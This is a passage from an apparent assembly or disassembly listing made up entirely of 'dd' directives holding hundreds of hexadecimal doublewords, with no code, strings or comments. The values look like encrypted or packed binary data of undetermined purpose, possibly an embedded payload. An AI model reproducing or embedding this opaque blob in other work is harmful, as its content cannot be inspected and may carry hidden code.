8D2A86C1h dd 0C30CC131h, 316D5226h, 1A95FB3Ch, 14090C08h, 4C16C02h dd 5380F5D9h, 0F2AE2BBh, 0A529029h, 0DC16BFCBh, 0CF843A8Ch dd 0F8034F88h, 0FC962C2Fh, 0DC276AEh, 305A011Dh, 30E925D0h dd 274ACDA4h, 0B90567CEh, 42D02AAh, 551980h, 4D49D4B8h dd 40F87Eh, 0F74E5C26h, 239805D8h, 0E92FF104h, 0B88D2C54h dd 8F4B5C28h, 9E937EFh, 324C5209h, 0E8137415h, 8CF61E44h dd 6527E69Ch, 0EDAA013h, 3457055Ch, 0E8657C6Ah, 24010F1h dd 0E9C82159h, 66B5689Eh, 24440781h, 772CA502h, 16BD9155h dd 0A172F632h, 61C17CF7h, 0C53020Eh, 0C8AE9BFAh, 8021CCE9h dd 0EFE4D588h, 6BB4B2C4h, 0A23C42FDh, 3411F910h, 0EC56B35Eh dd 55585B04h, 4A4EDA82h, 8169005Eh, 6D7F3h, 6851629Ah dd 7A701EE5h, 0BC4D1B90h, 6B75529Bh, 6764488Eh, 0B850801Ch dd 0C40B3600h, 79EF0D3Dh, 403A09FCh, 5510E0E9h, 2C488B54h dd 6B76C413h, 99A2EEB8h dd 52C1B0D8h, 4A443A4Ch, 68CAD542h, 2653F3F6h, 12155B5Dh dd 0C1CDC470h, 7C61C107h, 4BA4D435h, 680F3185h, 592F80A5h dd 325BDA89h, 5F80D001h, 0A0BC74D1h, 3C33254Dh, 0D53F3B90h dd 0F9B09A97h, 96654927h, 63A11227h, 10A8A4C4h, 0B5C4A6C6h dd 13A8B53Ch, 5BF40B17h, 5C0240A3h, 66B86812h, 78C98FCDh dd 0C0D2F600h, 0A05E237h, 67F9ABC3h, 497142A1h, 0B8BEC814h dd 0F821D297h, 0A56CBBC8h, 448452C9h, 0FA6A84Eh, 0C2D830ACh dd 0FA6C7A68h, 0ECB11695h, 12DD1680h, 0DE58F469h, 0B2B05B76h dd 0E6EF8107h, 819FA42Bh, 3055E9FAh, 0BDD8279Eh, 1AEC74CBh dd 628373C1h, 0C5CBEDEh, 6A84129Bh, 16390452h, 0E971433Fh dd 1B4B31C0h, 5CCAEDC2h, 32FF5032h, 0BC8B1090h, 0FF5549ABh dd 13A12662h, 4104EB01h, 0EEC8D103h, 0E8BE8487h, 0CA23E942h dd 53FB6ABAh, 0ACE98F38h, 9ECFFD79h, 0E4D25593h, 65A3CC53h dd 0E7D7F50h, 1199D71h, 83810D6h, 0B7EDE918h, 1A9F02B8h dd 20145270h, 5B03DE67h, 0D028C004h, 0C89A62Ch, 0C340E95Ah dd 80B08320h, 0FB7B1B80h, 76485383h, 0DB82662Fh, 0C02BC067h dd 0E752CC92h, 0E009389Dh, 36B05002h, 60FEBF0Ch, 80178A71h dd 0E1ED72Dh, 208C1A0Bh, 35F1470h, 815AD329h, 2DA12CE3h dd 0E50C8907h, 43350519h, 3C3290D0h, 490B9D2Bh, 0C955E56Ch dd 2C833082h, 732B5F03h, 705E7C1h, 0BD26A012h, 4BCFF14Fh dd 2006F92Dh, 59581485h, 22419E91h, 0EF015D77h, 0C553F5F4h dd 80D1F71Ah, 0D3731286h, 0B80C0263h, 58A0B33Eh, 21921589h dd 20FB959h, 0F22A4B66h, 5200D6BAh, 2D60EED4h, 5AB852D4h dd 77C1013h, 4F8EE912h, 49C968E8h, 0B1D6672Eh, 0EADE89Fh dd 0C10C15C4h, 64D69DFDh, 187AD43Ah, 315C1F93h, 0BA52C30Ch dd 90012F2Ch, 884554C7h, 30567753h, 0B90E6F79h, 2B2D37D1h dd 5A4CC202h, 0D2FE7113h, 3EF306DBh, 0EE0285D2h, 7DA81641h dd 0AC07E15Dh, 262202F8h, 0A744F6E9h, 115852A2h, 9035FB72h dd 34241AB9h, 8A4FED56h, 26510CC8h, 63BB897Dh, 6EDC1307h dd 0FBA96865h, 80565284h, 9079C1Fh, 0CE48337Dh, 69C05A6Fh dd 7B537B6h, 5AF528A6h, 0D1A8D453h, 70D3F72Ah, 3312966Ch dd 12013CBBh, 0C78F43ADh, 8983092Fh, 0EED16D80h, 0C10CCE81h dd 0C62500Ch, 0EF4907A6h, 0E7DEF768h, 75BE7F6h, 0BCC6E038h dd 5C51F933h, 308920F6h, 28251F70h, 9D08B810h, 33B0462h dd 0C205E9C1h, 57485AC9h, 0D1B0E589h, 0A258DF2Eh, 0B4B9C344h dd 3FE38F24h, 20B8E796h, 9178D46Eh, 0DD896707h, 0C539315Bh dd 1696267Ch, 0E14BC9FCh, 584C643Ch, 2C28316h, 91C4B8C7h dd 0B902BFBCh, 16D70F7Bh, 0EC31D2F2h, 65041AC5h, 373143C9h dd 2525D5F5h, 0E99C9F43h, 0C4310523h, 59C53F7Ch, 0C592B950h dd 0BF8C324Fh, 0CAB10051h, 0DAF692B2h, 158C280h, 99C74A70h dd 261478D6h, 44F1300Eh, 0F130E850h, 958546E9h, 0B85AD701h dd 94EF0E88h, 5E516441h, 41F5A2A0h, 7464406Ch, 7D4AD610h dd 34C782C0h, 982FF25Bh, 64E34h, 98FB2B6Ah, 1F9E2917h dd 68E801C0h, 521359BFh, 206E5480h, 664DE909h, 4025C2h dd 0CC435F5Fh, 72350B15h, 0FF8017A8h, 6ABBE9C7h, 348290BEh dd 4231811Ah, 890A4A0Dh, 260D8236h, 54304215h, 7C05627Dh dd 30797FE1h, 4B75E23Eh, 8E048097h, 606EFC1Dh, 3DBDE653h dd 22ED17E8h, 95FC211h, 91D47DEh, 0C8D3F675h, 52E6E22Dh dd 8F85CFF1h, 2637B292h, 5C921957h, 1754D754h, 0AE1F7758h dd 9444DBCBh, 0EA8327FDh, 0E9251DC4h, 30D960CBh, 9001F254h dd 735A489h, 0A660E3C9h, 65D8B23Dh, 80E1FF54h, 3EB0EBh dd 0E9DAB19Ch, 13AC23C5h, 0EDB687F6h, 485F3317h, 41A5C66Eh dd 3CC0C5ABh, 104C5ED1h, 528B579Eh, 4420CD44h, 0DDF62E53h dd 971E2C34h, 0FC1C7466h, 57B044B5h, 944336B7h, 30A5AC4Fh dd 0C494EA1Dh, 4349F225h, 26809D50h, 5EA170CAh, 33B44479h dd 7C010648h, 3A23949Ah, 0BA506A05h, 28080114h, 0E1436E21h dd 0D9EE0344h, 1A6066DDh, 0BF3013F5h, 82FB05Bh, 0DC9BE916h dd 16B60531h, 68506480h, 53387B2Ch, 0D8055802h, 41ACC784h dd 406ACBABh, 3ED81ECh, 6C7D4217h, 33F9B6A2h, 26ADBCh dd 21FCB8AFh, 530248CAh, 9F73234Dh, 7C198A31h, 0A4226042h dd 14B2A12h, 9184DEBDh, 651BE971h, 3EF5401Fh, 7D0FCF19h dd 0DFD7295Eh, 0EC785050h, 89E75EF4h, 6D694D49h, 0CD2DE6h dd 7E1BBFB2h, 0FF21487Dh, 773AE707h, 5803984h, 2004761Ah dd 0AFB0123h, 9790FCE9h, 0D069A25Eh, 4FC5C0F7h, 76690323h dd 394A201h, 0DAE95808h, 457D930h, 0C3B55159h, 0D590DD8Dh dd 5BBE5CE9h, 0EDBE794h, 1FA51DF9h, 0A90DF64Ah, 8A546581h dd 84EF5570h, 0B688EB0h, 440B1CDCh, 28C2C880h, 0BB04F4E3h dd 148BD389h, 0E90AABCBh, 9DACEB5Eh, 0F13083C9h, 0E1E14966h dd 0BD1881B5h, 0DB408E3h, 9F2D1E58h, 2C89F938h, 1204AB9Dh dd 0D0CA0224h, 0C4DE92FBh, 1D2940D6h, 13B31BD3h, 5B7F317Bh dd 967BA1D1h, 0ACC4F1A9h, 52A25298h, 58290A6Dh, 1A5E08F3h dd 0F3835A0Eh, 3C8180D4h, 0E80552A1h, 0BBC95E63h, 8CBE0894h dd 35077C9h, 837298BDh, 0A74CD9EDh, 575A3884h, 0EF5CC9F4h dd 6BD12E5Bh, 0F0B96204h, 5258515Ah, 82125A0Fh, 685B3370h dd 303BED63h, 2459875h, 0CD814B00h, 168A55D9h, 0ED642DE9h dd 0FCF7FBE9h, 391FA685h, 0B97FB89h, 265FB27h, 59C67C04h dd 0C3A7E0ECh, 993B678Eh, 5257EE54h, 3178DF21h, 0B48A298Dh dd 6D133F1Ah, 1F615801h, 21003B50h, 2A0C67E4h, 845EF301h dd 6EAB83E8h, 1A8E3958h, 0D0DD45B7h, 2DD87ADCh, 0C81CD797h dd 2B9AE3FCh, 0B12D665Eh, 6BB430B2h, 5F76D6D0h, 0D396D35h dd 0E7191921h, 9ACA5038h, 1C770138h, 52CF68E9h, 874B5840h dd 86A0D1E2h, 28D7C580h, 5BCFD7E7h, 80D0EF8Bh, 0FDE3F562h dd 12D90AB3h, 56C08051h, 0B4149E68h, 108885C5h, 12CC649h dd 4042086Bh, 0C83B6602h, 2ADC39Ch, 0F12C2D45h, 117EF7DAh dd 0CC84C225h, 0DE9161Ah, 0C828E21Eh, 4DB59A14h, 0C007D504h dd 0D33B6134h, 0A7210B25h, 5F6367E9h, 0ADC3B02Eh, 176F0628h dd 305BDF31h, 1E79130Fh, 9AF2E01Fh, 0C025E172h, 265A670Ch dd 0D0BA31DFh, 4FA3FD4Ch, 0E90BDF8Bh, 877919FAh, 0E7B7EB45h dd 76837E55h, 455077F3h, 1455D3CAh, 0F1A2A058h, 92B88025h dd 47F45813h, 1209D08h, 144186BDh, 4DF22070h, 0B3A8282h dd 8F66011Dh, 105E6102h, 0C2895A8Fh, 80B6B09Dh, 8E44836Ah dd 6540E165h, 7DEE0BBEh, 0AEE84F82h, 0DDB22988h, 889D016h dd 3F7C0204h, 515638AAh, 5CE18937h, 4BA54A40h, 0CD7B37E9h dd 565638Fh, 288F2B50h, 0F93168E6h, 2AA58778h, 8980743Bh dd 258DFD73h, 0CE1E803Ch, 89C00C09h, 0EC4A1F2h, 8876B600h dd 505AF313h, 0E93CCECAh, 865DC1CAh, 105168D1h, 0B40BE784h dd 0C988665Dh, 0EFF10391h, 0A24D9F6h, 0A82ABFFEh, 0D88EC094h dd 80C7CA5Bh, 0D3284759h, 530F164Ch, 41FE7511h, 2C2F57BBh dd 0B0C02A29h, 8A0473E9h, 93F5A7F0h, 2E5E31DDh, 9210992h dd 0AE4D4170h, 0C96879F8h, 3C005B10h, 26383B21h, 8E9E07F8h dd 987B581Fh, 50EEC4Bh, 173F1881h, 42417835h, 0C1023A95h dd 0B30845Bh, 0B24CA4Fh, 9EC0AFD2h, 0CA29171Fh, 0F020193Dh dd 981F5877h, 6EC28113h dd 895DA31Fh, 0FE18C095h, 0EF803BCFh, 2EF748F3h, 0C796F831h dd 0F06803FDh, 9A611D14h, 64632ED6h, 5A510BC4h, 9753C18Bh dd 0FA2AE942h, 46E54888h, 1133144Fh, 2C23B10h, 0A9112EB9h dd 307E077h, 3C0BB20Ah, 6326C788h, 5778B054h, 0C6D2DE78h dd 586F1EAAh, 52851803h, 82B02C27h, 584DE9B6h, 59179875h dd 8E696BB1h, 64314D61h, 71406125h, 0B8DCFD29h, 88619349h dd 0ED97CA8Fh, 1C61DC99h, 8B9859ADh, 0B34F0F66h, 233B554Dh dd 1BD892Ah, 30C909C6h, 0F85B1FFAh, 1DC74A74h, 70F2E074h dd 12054E78h, 28D8D95h, 0EFC56F8Ah, 33A46127h, 60B3103h dd 0FAF4BCE9h, 81581CA6h, 637EC7EEh, 0BB94E22Fh, 927827C4h dd 26628349h, 49077FB8h, 86DF897Fh, 0EE6D34E6h, 723D1E36h dd 1548C97Ah, 869AE456h, 2C36548Fh, 0DF8047D1h, 0A3B46826h dd 0B606E09Ah, 5AF12059h, 0ECD07320h, 3A286FA4h, 24C2C32Ah dd 1FFF0833h, 0FFB5A997h, 70F09345h, 0D7B09DACh, 6881365Ch dd 588A6430h, 4712BD4Ch, 79D5DD41h, 20615E8Fh, 525061DCh dd 7429BAh, 7BB8270Eh, 3147193Fh, 0C43F0995h, 92E916BDh dd 3D39027h, 484A6F6Ch, 487A9BA0h, 0BD8473FBh, 36021DDEh dd 6BC2D586h, 6569C4Ch, 9F21CD39h, 1C5FFA27h, 255A480Fh dd 58116293h, 37004889h, 59A5BD55h, 45390300h, 0FC68DDF7h dd 266EA46Ah, 126C2218h, 0ED2BF009h, 0FDA65608h, 2934B4DFh dd 5C77E49Bh, 0D46271BEh, 0E5C00044h, 0B0075005h, 7BB7532Bh dd 0E903EF90h, 89FD4BD2h, 7C9CE1C3h, 925D28B1h, 97555E49h dd 0FE66948Ch, 69089FF1h, 0E4A08B3h, 0FED05C1Ah, 62EF597Ah dd 0F0C30235h, 622FF134h, 4EE6205h, 25EC5908h, 467591D6h dd 42765960h, 0CF48B269h, 0B4ECEEB5h, 0E5EA282Eh, 0C0C3B91Ah dd 3E092658h, 0F1273D9h, 41444522h, 7E6E2AFh, 2B0B7FA6h dd 981935C6h, 0BF1D3216h, 0AB60E725h, 3BB03C24h, 20FB7505h dd 0B0C42128h, 905BF9BDh, 81B951A9h, 67B27D0Eh, 0A24F0BE9h dd 0C0461A31h, 0F8E80107h, 0A383FDE2h, 4E6C166h, 6CFB81A4h dd 0C60A8746h, 1E3699Ah, 0FB8C24F5h, 539291h, 95201D1Dh dd 0EB6E897Ch, 39CE63E4h, 0DCC3CD80h, 2EF3C804h, 9A1077Fh dd 0CB5BD921h, 4246640Eh, 0BD9C78B7h, 921848C9h, 25772413h dd 0F5818049h, 6DBC754Fh, 16E5C124h, 0E4279E0Bh, 95AEEEB0h dd 2E539419h, 4AD7CC90h, 984650DDh, 997A2EE6h, 51203BB8h dd 7390F298h, 56AEF06h, 0F0C4CB2h, 6E55D04h, 7384CFE9h dd 58AEA3D6h, 0C944EBFh, 0F5879B06h, 44CE4806h, 8C8D13Dh dd 5BCB8F10h, 37BA2084h, 0C1FB9411h, 1107236h, 5BDC4E58h dd 0BCFA92EAh, 75EB46B6h, 22645D4Ah, 5C121CE7h, 19AFA4FEh dd 8A4085AAh, 0C873EB80h, 66480EEAh, 0E9750DB9h, 0BAC45877h dd 9F32E19h, 0B6E709B0h, 59F7EDA0h, 5B76FC28h, 8835EC06h dd 0B03E58E2h, 11D22555h, 0F524C5D9h, 0BE344110h, 0CEA9019Dh dd 3EF58955h, 5EE30Bh, 43566BB7h, 609536h, 827F1494h, 944295Dh dd 0D3CD015Eh, 9273A020h, 397EDDBCh, 0D238344Eh, 2CC896ACh dd 6D12DABDh, 180120E2h, 4E2C31D2h, 1F355730h, 11B430Eh dd 582EA6E5h, 0A724823Bh, 0DE686F1Eh, 5BED016Eh, 38455CC7h dd 0F9925FFh, 0DF1A0C0h, 986CB57Eh, 116202DCh, 0DEF75F82h dd 0D1B2DD82h, 0EC545002h, 49469CA2h, 3F51E10h, 36C79895h dd 496680FCh, 1B0B690h, 3112AD77h, 0BF4559CEh, 0CB856E7Ch dd 7FD0EA50h, 0C54E7BF0h, 5356EF70h, 1A690468h, 835B630Fh dd 0F5E6DBEh, 0A3642912h, 318848B8h, 13C73B95h, 0F387A668h dd 53E0CBA5h, 17F79059h, 0BE624EBh, 9DF89A92h, 0C7BF2095h dd 0E5148027h, 0D78AB3F9h, 27E04C01h, 6E60F5AFh, 0E0E96F9Ah dd 8110665Ch, 47D156BBh, 8414569h, 61A70C82h, 1A4137D5h dd 0A9CF74EFh, 0EBFBAC60h, 4A346D80h, 6F15A06Ch, 0FB20D14Eh dd 3E373DBAh, 93BE11C1h, 0EC639DCAh, 7A92E58Eh, 2C0AE74Ch dd 33960A7Eh, 5225FCA3h, 0F15CA805h, 0F130E483h, 5AC14FC0h dd 90BBFADCh, 84596F60h, 97292650h, 1FF4E128h, 5F074794h dd 0E482D389h, 28DE94AEh, 354C5468h, 0A9734CE5h, 66031614h dd 5B8938B2h, 31914BC6h, 0F63C8B42h, 3A45EB4Eh, 48095C89h dd 81ABFB40h, 58540189h, 9240BB20h, 68551CF2h, 6AD089A0h dd 3120675Ah, 22BA4F51h, 0D45616D2h, 18065416h, 5C55D7E3h dd 844BDFCAh, 3167BF68h, 346A68h, 53AC64D7h, 0EA70CD81h dd 6408332Fh, 52F50138h, 0E95BA15Fh, 380725AAh, 0D4BEA0AAh dd 322F2C40h, 48850367h, 0E6B0496Dh, 7D257FE2h, 0C0A24314h dd 41A46564h, 5BFAE452h, 7275AD5Fh, 0E9C298E8h, 1257BE97h dd 0AB80C263h, 48AA59ECh, 5FFEE3CBh, 25E9E909h, 0B17939h dd 0B45040B3h, 0F40180B7h, 0E9E33088h, 3BA60BE8h, 244249Dh dd 0A0D6C1B1h, 8F780F57h, 30EA61F2h, 0B8416A7Fh, 3850B850h dd 0B78758C2h, 0E0ED6598h, 1352BE81h, 5050F6F1h, 0C15A6BE9h dd 4179693Ch, 57BC43F6h, 0F3FC27C2h, 0D0195B1Ch, 0E76C5A33h dd 636828A2h, 0D9A1D830h, 0CAA91402h, 1AC6E90Bh, 0A4BC2651h dd 0C0AF20C3h, 82B22F80h, 0CCACA057h, 9F3E0D70h, 0ED602B8Eh dd 0B6DFE906h, 8E023391h, 7419963Bh, 0F089614Ah, 37492E5Eh dd 9C8AF0DDh, 0EB294497h, 13F4AF1Bh, 47AA6EBBh, 0D43FEA16h dd 393F869h, 959C821h, 0CAB6D2C2h, 1353E518h, 6675B45Ch dd 12161E9Fh, 314E0E68h, 0E8505260h, 8A091F61h, 7E97583Ch dd 48C04E79h, 75E09F35h, 0C289C313h, 4B7B54CAh, 943F34D6h dd 0AC29AFFEh, 0E939A172h, 4C7E688Eh, 12A253F3h, 420C0AFBh dd 379AADC2h, 0E1972455h, 7D872995h, 64D0CE74h, 5A9F840Fh dd 28F14B33h, 55529F91h, 0E64609DEh, 173C85D1h, 0F5E24AC7h dd 8712478h, 0C185960Fh, 5A9AB30h, 703DB082h, 99BE0332h dd 4639CD6Fh, 0E15E5616h, 0AFF18D2Dh, 915C1535h, 0CD584BC1h dd 4F3A63F8h, 4AF2298Ch, 7814F251h, 3958259h, 8AFED80h dd 0BBAE25E8h, 0EEB9C7EBh, 1283F57h, 310D4059h, 0D764FA72h dd 28C24F08h, 445609CEh, 84DED669h, 0CC48EE68h, 144FE9FFh dd 72AD7713h, 0C8D783CEh, 0E8672700h, 0D921CB55h, 59C60768h dd 464C81EBh, 304A5FDBh, 6509CE53h, 542949E2h, 0AED98092h dd 0D1314BB4h, 1D9FF6C6h, 54F302D5h, 9B88BB2h, 6A612CE2h dd 4E5901D1h, 2EEBA70h, 0F5E7CD72h, 5FF289h, 4B0DEF05h dd 12D3900Fh, 4992E905h, 9BD95DAFh, 0C0C25045h, 619B5F63h dd 362F3FC9h, 149D2EF1h, 0DE875007h, 7AE022Bh, 4CCC4658h dd 313AA1C1h, 0E4A5347Dh, 0A3CFFCA2h, 7E9E0556h, 882BD332h dd 0CD128632h, 290CD42Ch, 37E82B5Ah, 0C2AF5966h, 49072EA1h dd 0A03D0F62h, 0E81DF58Eh, 0C8CF4EF7h, 0DF7D0166h, 30C8EF00h dd 835B3920h, 31025FC7h, 3AF1F6AFh, 68CC4A01h, 9E3847FBh dd 85C113C9h, 0F75FF429h, 0C604DB6Ch, 0E8A51817h, 1994602Eh dd 71020C32h, 0D10889C7h, 0FA0BA7F9h, 8AA0ECCCh, 7A011B99h dd 640DBB1Eh, 0D13A0C91h, 2FCB7F66h, 6814BB90h, 4A667BDFh dd 0C1CDC03Ah, 0F70002E2h, 85CA81D2h, 90750319h, 999B0920h dd 8704FD6Bh, 0D0F60128h, 0E740E0C0h, 0FC4134EDh, 0CA0E4F54h dd 89382D7Ch, 0DB52336Eh, 32755E2Ah, 2E5FD21Ah, 98A74941h dd 933A2845h, 0C250077h, 0E2815E3Fh, 0FD173905h, 0DCC4E974h dd 52269EF2h dd 0E3C51382h, 769D9FFDh, 7FFDB020h, 0F658989Dh, 5F00B7BFh dd 0D5F6CDFEh, 1BC58000h, 5259EE88h, 51663BB2h, 0D93DD1BFh dd 8005DCD8h, 81FEE8C2h, 7B12E21Bh, 22399931h, 0BB420102h dd 0B304158h, 0BCF6791Ah, 30DB2C7Ch, 21470E6Eh, 9E0C43CCh dd 7CAD263Ch, 1852CE05h, 0EC071C03h, 4F614D8Fh, 0F7E8E0C1h dd 92D02D8h, 31CA85FAh, 5E96A477h, 80F41FAAh, 4A8655AFh dd 550D801h, 222DE907h, 0CA871B40h, 2E985020h, 256D315Bh dd 3EEFF168h, 42250A26h, 2C12CA10h, 68426082h, 0ADA655EDh dd 0C039B516h, 0DDF6DE05h, 48A2A410h, 4B6E39E7h, 297B9889h dd 81643EBEh, 5ABD4581h, 5384BA2Ch, 0DFF7CCBBh, 6FCF5B4Ah dd 40627550h, 0A8B25FBAh, 68621691h, 25B25CC4h, 700BCA45h dd 969BD9AAh, 0DCB1745Eh, 0A65D45AAh, 0F389DEC5h, 58445617h dd 2AEDEB83h, 0DAE93661h, 7AE64B65h, 9654F07Bh, 0DC7E1CD5h dd 814D401Ch, 8F0A33EDh, 0D53EF7FEh, 0BB1F27E9h, 0A447DA24h dd 9C81B8E7h, 16211D43h, 22B6DF1h, 4BF168C4h, 52274A6Ch dd 2CEEDA09h, 40AFD303h, 467F57DDh, 0C70905FFh, 7AD68056h dd 3D01556Fh, 0D98F5EF1h, 0CAE3E981h, 0ECAAB1FAh, 1B3DE17Ch dd 750AA5B8h, 280D01C8h, 8BE82939h, 213672Ch, 0EA03A62Dh dd 0C7845E41h, 5F12B8F0h, 9FB2F0ECh, 4C251E76h, 5E818248h dd 0F92A6F60h, 0E8D2BC89h, 50B85D2Ch, 0A727E902h, 0F342C826h dd 0BB0E0BB5h, 22B8CB01h, 95BD5860h, 93E9069Fh, 0F3391D0Ah dd 0C9098741h, 48D6DE89h, 17879991h, 881981C7h, 0B4C241E3h dd 2D6600E1h, 685C091Dh, 0B31B0DC9h, 433AB9E0h, 0DC6030E9h dd 0C57363Dh, 14031BBFh, 25C930EFh, 1D9DCF0Ah, 0F7F847FCh dd 0C714DF63h, 1A285F5Eh, 6CF80871h, 1E2D120h, 1C2DF801h dd 2E3F230Dh, 0C64C66CAh, 0D0F70601h, 0F013CD35h, 0D8040566h dd 1209ADDh, 5EF545D0h, 5DEB0121h, 850FDB09h, 5573244Ch dd 0B9045275h, 3EC54E6Ah, 774F2BF4h, 18257E19h, 8DB6A9E9h dd 560157EAh, 5C463368h, 29705E21h, 9DD3B208h, 5ED9A90Bh dd 0C82CE962h, 945E5B1Ch, 6CA56FA0h, 0DA59B2A4h, 579475EAh dd 16D594B5h, 0E347C168h, 4E971ABh, 1B252AFh, 0EBBE7757h dd 9ADC208Fh, 0C170B09h, 8009F029h, 5F895B08h, 214831EFh dd 4A447FF9h, 7FF9FA6Dh, 90CCC4Ah, 10E5C849h, 56C9262Eh dd 45FAFAFEh, 1896A4B5h, 5FF8455Bh, 56ED429Fh, 0DE0BE995h dd 0BD744389h, 52A6F281h, 706567F9h, 0E7B4913Ah, 146E23B7h dd 27B8DC88h, 0C2676834h, 11121733h, 6380B19h, 69F43683h dd 3A637DB2h, 0B7390485h, 885801D4h, 0D0E5870Ch, 779B538h dd 0E3C0CBFEh, 80C35003h, 427CCF3h, 2E7BF082h, 6906FCA9h dd 0FADFA90h, 86824A81h, 0B99CB7CFh, 6804B0FEh, 74E865AEh dd 0B1D8E892h, 8A38215Dh, 40FAE982h, 0B945AF4h, 0D4100BEh dd 77380A9Dh, 919248h, 7B0807E2h, 59800540h, 500CB109h dd 95A36C5Bh, 3D085C4Dh, 0F834034Eh, 0ECF9F02Ch, 2E426202h dd 0D51E45B2h, 0C5285A05h, 4125E6F9h, 95B72A58h, 9FBE3033h dd 4803051Ch, 0AD107735h, 0F391BF33h, 0DE308457h, 85132E03h dd 0C3E50149h, 6C68961Dh, 0FD7B09BBh, 2795FE19h, 81A13FE1h dd 1240BB7Bh, 7A3C2187h, 0CE90049Fh, 18D5ACECh, 0F85EF329h dd 98747A45h, 5C7D020Ah, 0CD317294h, 2C504962h, 0A8B2594Fh dd 68F79892h, 0E1D1C34Eh, 0AB2C2FE2h, 0A4E5A8B4h, 0FD05C1CCh dd 28308C6Ah, 315CB192h, 58A660A6h, 0C1513B6Dh, 947E1252h dd 0C2CDD809h, 5FB6283Eh, 4FDB7020h, 0E99F13D8h, 68558189h dd 449D3EBBh, 0DCA530h, 8177E453h, 5B1ED8F6h, 70DF1348h dd 9B40B316h, 743B00E1h, 0CBB1C780h, 8F49836Eh, 1BA130D3h dd 1F66F9F2h, 1D427557h, 2548673Ah, 0FB049550h, 5AD001C8h dd 0C0CE1DA1h, 4D0968E6h, 0CD80743Eh, 0E9217376h, 0E6A82F2Dh dd 0A65C4BF6h, 20C99F3h, 0F24F653Eh, 0E95381DEh, 0FB68CF0Dh dd 1FD968E0h, 8B39B21Eh, 8549892Eh, 0AA41E3D2h, 32227938h dd 0A13C9078h, 0E135A316h, 3ED3005Fh, 6C5FD81Ch, 0CC3CB4C3h dd 0E6C15A01h, 96B44003h, 9F0B530Ch, 585EF231h, 0D1215AF3h dd 2A79E9CBh, 0A2EAD743h, 0DA789330h, 9FF0F858h, 2720FC66h dd 31D6982Ah, 3A175F86h, 105B3D30h, 7350B9CBh, 0B46D1290h dd 0A6020112h, 835F785Bh, 841C5890h, 8A22D25h, 7F336BA0h dd 789E50FCh, 65217E00h, 6705E0C1h, 53020840h, 7DCA0E52h dd 914CE7ACh, 3092F00Ah, 5702ED21h, 0E9B039E9h, 77EC533h dd 745058F9h, 0E756EFF8h, 0B246E08h, 4545C501h, 1011FB27h dd 30C745F5h, 3E5FC7DAh, 75688A20h, 9D84A921h, 6EB78F51h dd 95BFDC0h, 6659E830h, 0B447BC85h, 6417B51Bh, 39A0CCE9h dd 0D6EFC05h, 0D82913ADh, 0E908007Ch, 0EBB5370Fh, 6A4B9BBh dd 5F24902Bh, 1B4E8C2Eh, 1EF7D1A4h, 654A1056h, 4E7BB078h dd 3D3EE50h, 5B977591h, 4BD742Ch, 0FD4CA599h, 58218331h dd 0C2013307h, 5641BF57h, 403B2D6Dh, 62488823h, 352CE99Ah dd 9458A12Ch, 1C29256h, 0B15159B6h, 3CCE3063h, 0EB80A09Ah dd 0EAF3E0D0h, 74E9EAC3h, 81C49D7Ah, 9E275579h, 588FD158h dd 0DA5ADEE9h, 153079D0h, 9510501Fh, 1619E8A7h, 42DBE97Eh dd 7E5C1F9h, 504B9E40h, 7015BD2Dh, 96BF0454h, 0C5B60622h dd 1280B920h, 48ED70E9h, 605D1F11h, 0BE6656CCh, 620E7D86h dd 0B3E95D4Ah, 0D10EF5D4h, 92C6EAE1h, 68507FA6h, 3375626Ch dd 6B96220Ah, 0D961984h, 685BDAC0h, 8C765CCCh, 0D4A3E3D2h dd 0AEE91280h, 5B66D841h, 0D8E5352Ch, 71EFB754h, 893ED24Bh dd 6823C89Bh, 0B9B5DE99h, 0D1FE9737h, 49F39C2h, 59AB5EBFh dd 32681330h, 0F05B258Fh, 0A10702FBh, 3ED6E96Dh, 0D9433B7Fh dd 796DBBF8h, 7F9B40D7h, 13BB229h, 0D7346EF1h, 90580C09h dd 9F384267h, 0B62A34C6h, 0F2F5CC3h, 1BA425C8h, 2873FEB1h dd 0AABE9C2h, 9060B09Ah, 0C73F1A36h, 0F7DF2E12h, 0B5F622ADh dd 8359049Eh, 67F864E2h, 55FA4E73h, 48905C4Ah, 2DDF1097h dd 2B895D37h, 7F0285DEh, 42FE4107h, 96915544h, 2271DA09h dd 0BA26FC49h, 0AC873E00h, 59C83138h, 3AB9B0BFh, 0C15C80EBh dd 240EE831h, 36D16850h, 0C9EFEE51h, 4954647Ah, 0C4DB5B99h dd 464408h, 0F07D68BFh, 0DF48F727h, 53D61DADh, 42080113h dd 7C070305h, 90FF2ABBh, 2C770295h, 470BE92Eh, 0EC8EE8C9h dd 9FD482FDh, 81A5A408h, 8227D9C6h, 29C26A25h, 580885EEh dd 3D12D265h, 21CC0E54h, 2596BE0Ch, 82BC96A0h, 669DE72Dh dd 5B019869h, 0C446B2C0h, 39FF144Fh, 0D95C0190h, 5CDC2A47h dd 676795BBh, 0B2953417h, 44853491h, 0A05F06C8h, 2E6B81C6h dd 274C4F58h, 9A5DDC5h, 0AA460155h, 0C320557Eh, 31AE409Dh dd 0E849D294h, 0CB108852h, 80E2E5C7h, 7360CDDh, 1C03F83h dd 95FB6E19h, 7E45040Ch, 5740C2C0h, 87A27EBFh, 64F1FAF7h dd 84D877D6h, 122CFEE6h, 70553880h, 410FED0h, 0E954B550h dd 2A31A1D7h, 2E12678Ah, 22D46145h, 1BCD2F0Ch, 97523760h dd 8F111665h, 0A6E91562h, 5B6565DCh, 6F29A161h, 48525DE8h dd 3D4F8668h, 35B20C4h, 3A29CB41h, 85774B79h, 0C2B8B184h dd 16817889h, 2F87FE29h, 0EC172640h, 1F01EAD6h, 2D19E9FDh dd 0BA88D959h, 292D0249h, 1F60FB59h, 6082027Ch, 26351157h dd 9D37B75h, 0F4F45A87h dd 5EA86962h, 35715105h, 0ECC8044Ch, 2F8D5B8Bh, 6ED28D2Ah dd 37FBD384h, 9988312h, 0E388F714h, 29AD93B8h, 0E4605027h dd 3139D5F7h, 8FD36EFh, 95470BE8h, 0EBC057B6h, 7698C301h dd 0E46A80Fh, 0E9F30223h, 9F85F0FCh, 0E9855867h, 27BFD2B1h dd 91AC847Bh, 38C8B36Ah, 245C12A5h, 9D810664h, 292F1CA7h dd 0AC1D7F2Ah, 0C24B2EA8h, 0D3EF0D4Bh, 1855A91Dh, 542D1902h dd 75EA213Ch, 9D0B0801h, 5F8014Fh, 0CEC40744h, 0D35C9646h dd 20F5903Eh, 2DF59BC0h, 1990E407h, 0CB45051h, 3107E9B1h dd 0EEAC32Bh, 0CA5A8027h, 0C080CE2h, 663C0B05h, 0DD715919h dd 0FD6088A8h, 5D33EDDDh, 5A501585h, 40516957h, 57288431h dd 2853E9B0h, 